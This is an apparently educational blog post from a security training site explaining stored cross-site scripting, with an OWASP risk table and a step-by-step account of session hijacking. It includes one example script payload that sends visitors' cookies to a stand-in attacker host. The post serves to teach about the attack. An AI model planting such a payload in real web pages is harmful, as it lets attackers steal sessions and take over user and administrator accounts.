Web App Pen Testing: Stored XSS

August 20, 2017 | Views: 3871

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

As everybody knows, humans are the weakest link in the security chain. This thought applies to programming as well. In this article, I will discuss XSS attacks, which are very dangerous, because they are easy to detect, the impact can be moderate to high, and they can cause damage not only to a specific user but to all users of a web app.

Taking the OWASP table as a reference, we have the following:

Business Impact

Application/Business Specific

Prevalence

Very common

Detectability

Easy

Exploitability

Average, well known, lot of resources

Impact

Moderate / Critical

What is XSS? 

Cross Site Scripting (XSS) is a client-side vulnerability which allows an attacker to inject code and execute malicious scripts. Can be persistent/stored, reflected or DOM-based. I’ll cover for now the stored XSS but in summary, these are the types of XSS attacks:

       Persistent – malicious input originates from the website’s database.

       Reflected – malicious input originates from the victim’s request.

       DOM-based – vulnerability is in the client-side code rather than the server-side code.

Persistent XSS can be very dangerous, because not the attacker will not only execute once the code, but the malicious code will be stored in the server. For example, let’s say the forum xyz.com has a vulnerable form and an attacker found that vulnerability and wants to steal cookies. He can submit a code similar to the following.

<script>new img().src=http://<attacker.ip.address>/cookiejar.php? +document.cookie;<script>

Every time the page loads and runs that code, the cookies of the user who visited the vulnerable page where the malicious code is stored will be sent to the page the attacker is hosting, but if that particular user is the admin, now the attacker can hijack the admin’s session and do everything he wants. Other advantages can be taken too, as using the vulnerability to run a key logger or phishing.

In summary, this is how a stored XSS works:

       The attacker found a form to submit a malicious script into the website

       The user visits the vulnerable web page with the attacker’s injected code on the website and receives the response from the web server with the malicious script

       The user’s browser executes the malicious script inside the response from the web page, sending the victim’s cookies to the attacker’s server

 

       Now the attacker can log in with the hijacked user’s session without knowing his/her username or password.

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
3 Comments
  1. thank you my friend.

  2. Nice man!
    Thanks

Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel